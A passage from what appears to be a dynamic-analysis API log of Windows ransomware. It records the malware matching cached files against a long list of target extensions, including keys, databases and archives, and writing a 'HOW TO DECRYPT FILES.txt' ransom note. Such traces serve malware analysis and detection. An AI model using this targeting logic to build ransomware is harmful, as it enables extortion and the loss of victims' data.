Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.fdb") returned 0 [0082.443] lstrlenA (lpString="*.fdb") returned 5 [0082.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.wab") returned 0 [0082.443] lstrlenA (lpString="*.wab") returned 5 [0082.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.dat") returned 0 [0082.444] lstrlenA (lpString="*.dat") returned 5 [0082.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.txt") returned 0 [0082.444] lstrlenA (lpString="*.txt") returned 5 [0082.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.jpeg") returned 0 [0082.444] lstrlenA (lpString="*.jpeg") returned 6 [0082.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.jpg") returned 0 [0082.444] lstrlenA (lpString="*.jpg") returned 5 [0082.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.png") returned 0 [0082.444] lstrlenA (lpString="*.png") returned 5 [0082.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.php") returned 0 [0082.444] lstrlenA (lpString="*.php") returned 5 [0082.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.cs") returned 0 [0082.444] lstrlenA (lpString="*.cs") returned 4 [0082.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.cpp") returned 0 [0082.444] lstrlenA (lpString="*.cpp") returned 5 [0082.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.rar") returned 0 [0082.444] lstrlenA (lpString="*.rar") returned 5 [0082.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.zip") returned 0 [0082.445] lstrlenA (lpString="*.zip") returned 5 [0082.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.html") returned 0 [0082.445] lstrlenA (lpString="*.html") returned 6 [0082.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.htm") returned 0 [0082.445] lstrlenA (lpString="*.htm") returned 5 [0082.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.xlsx") returned 0 [0082.445] lstrlenA (lpString="*.xlsx") returned 6 [0082.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.xls") returned 0 [0082.445] lstrlenA (lpString="*.xls") returned 5 [0082.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.mp4") returned 0 [0082.445] lstrlenA (lpString="*.mp4") returned 5 [0082.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.ppt") returned 0 [0082.445] lstrlenA (lpString="*.ppt") returned 5 [0082.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.pptx") returned 0 [0082.445] lstrlenA (lpString="*.pptx") returned 6 [0082.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.doc") returned 0 [0082.445] lstrlenA (lpString="*.doc") returned 5 [0082.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.dot") returned 0 [0082.445] lstrlenA (lpString="*.dot") returned 5 [0082.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.docx") returned 0 [0082.446] lstrlenA (lpString="*.docx") returned 6 [0082.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.7z") returned 0 [0082.446] lstrlenA (lpString="*.7z") returned 4 [0082.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.tar") returned 0 [0082.446] lstrlenA (lpString="*.tar") returned 5 [0082.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.bz2") returned 0 [0082.446] lstrlenA (lpString="*.bz2") returned 5 [0082.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.gz") returned 0 [0082.446] lstrlenA (lpString="*.gz") returned 4 [0082.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.mkv") returned 0 [0082.446] lstrlenA (lpString="*.mkv") returned 5 [0082.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.eml") returned 0 [0082.446] lstrlenA (lpString="*.eml") returned 5 [0082.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.msg") returned 0 [0082.446] lstrlenA (lpString="*.msg") returned 5 [0082.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.edb") returned 0 [0082.446] lstrlenA (lpString="*.edb") returned 5 [0082.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.accdb") returned 0 [0082.446] lstrlenA (lpString="*.accdb") returned 7 [0082.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.odb") returned 0 [0082.447] lstrlenA (lpString="*.odb") returned 5 [0082.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.java") returned 0 [0082.447] lstrlenA (lpString="*.java") returned 6 [0082.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.asm") returned 0 [0082.447] lstrlenA (lpString="*.asm") returned 5 [0082.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.pfx") returned 0 [0082.447] lstrlenA (lpString="*.pfx") returned 5 [0082.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.pem") returned 0 [0082.447] lstrlenA (lpString="*.pem") returned 5 [0082.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.p12") returned 0 [0082.447] lstrlenA (lpString="*.p12") returned 5 [0082.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.gpg") returned 0 [0082.447] lstrlenA (lpString="*.gpg") returned 5 [0082.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.vsd") returned 0 [0082.447] lstrlenA (lpString="*.vsd") returned 5 [0082.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.odg") returned 0 [0082.447] lstrlenA (lpString="*.odg") returned 5 [0082.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.raw") returned 0 [0082.448] lstrlenA (lpString="*.raw") returned 5 [0082.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.nef") returned 0 [0082.448] lstrlenA (lpString="*.nef") returned 5 [0082.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.svg") returned 0 [0082.448] lstrlenA (lpString="*.svg") returned 5 [0082.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.psd") returned 0 [0082.448] lstrlenA (lpString="*.psd") returned 5 [0082.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.vmx") returned 0 [0082.448] lstrlenA (lpString="*.vmx") returned 5 [0082.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.vmdk") returned 0 [0082.448] lstrlenA (lpString="*.vmdk") returned 6 [0082.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.vdi") returned 0 [0082.448] lstrlenA (lpString="*.vdi") returned 5 [0082.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.lay6") returned 0 [0082.448] lstrlenA (lpString="*.lay6") returned 6 [0082.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.mpeg") returned 0 [0082.449] lstrlenA (lpString="*.mpeg") returned 6 [0082.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.djvu") returned 0 [0082.449] lstrlenA (lpString="*.djvu") returned 6 [0082.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.tiff") returned 0 [0082.449] lstrlenA (lpString="*.tiff") returned 6 [0082.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.backup") returned 0 [0082.449] lstrlenA (lpString="*.backup") returned 8 [0082.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.pdf") returned 0 [0082.449] lstrlenA (lpString="*.pdf") returned 5 [0082.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.cert") returned 0 [0082.449] lstrlenA (lpString="*.cert") returned 6 [0082.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.docm") returned 0 [0082.449] lstrlenA (lpString="*.docm") returned 6 [0082.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.xlsm") returned 0 [0082.450] lstrlenA (lpString="*.xlsm") returned 6 [0082.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.dwg") returned 0 [0082.450] lstrlenA (lpString="*.dwg") returned 5 [0082.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.nd") returned 0 [0082.450] lstrlenA (lpString="*.nd") returned 4 [0082.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.tlg") returned 0 [0082.450] lstrlenA (lpString="*.tlg") returned 5 [0082.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.lgb") returned 0 [0082.450] lstrlenA (lpString="*.lgb") returned 5 [0082.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.mov") returned 0 [0082.450] lstrlenA (lpString="*.mov") returned 5 [0082.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.xdw") returned 0 [0082.450] lstrlenA (lpString="*.xdw") returned 5 [0082.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.ods") returned 0 [0082.450] lstrlenA (lpString="*.ods") returned 5 [0082.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.wav") returned 0 [0082.451] lstrlenA (lpString="*.wav") returned 5 [0082.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.mp3") returned 0 [0082.451] lstrlenA (lpString="*.mp3") returned 5 [0082.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.aiff") returned 0 [0082.451] lstrlenA (lpString="*.aiff") returned 6 [0082.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.flac") returned 0 [0082.451] lstrlenA (lpString="*.flac") returned 6 [0082.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.m4a") returned 0 [0082.451] lstrlenA (lpString="*.m4a") returned 5 [0082.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0", pszSpec="*.csv") returned 0 [0082.451] lstrlenA (lpString="*.csv") returned 5 [0082.451] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x467cf930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x467cf930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x467cf930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="collect[1].gif", cAlternateFileName="COLLEC~1.GIF")) returned 1 [0082.451] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.451] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="collect[1].gif") returned 1 [0082.451] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="collect[1].gif") returned 1 [0082.451] lstrcmpiA (lpString1="", lpString2="collect[1].gif") returned -1 [0082.451] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0") returned="cb=gapi[1].loaded_0" [0082.451] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.452] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.452] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.452] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.452] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="collect[1].gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif" [0082.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.ems") returned 0 [0082.452] lstrlenA (lpString="*.ems") returned 5 [0082.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.db") returned 0 [0082.452] lstrlenA (lpString="*.db") returned 4 [0082.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.dbf") returned 0 [0082.452] lstrlenA (lpString="*.dbf") returned 5 [0082.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.myox") returned 0 [0082.452] lstrlenA (lpString="*.myox") returned 6 [0082.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.myo") returned 0 [0082.452] lstrlenA (lpString="*.myo") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.qbw") returned 0 [0082.453] lstrlenA (lpString="*.qbw") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.qbb") returned 0 [0082.453] lstrlenA (lpString="*.qbb") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.qbm") returned 0 [0082.453] lstrlenA (lpString="*.qbm") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.qbo") returned 0 [0082.453] lstrlenA (lpString="*.qbo") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.qbx") returned 0 [0082.453] lstrlenA (lpString="*.qbx") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.qba") returned 0 [0082.453] lstrlenA (lpString="*.qba") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 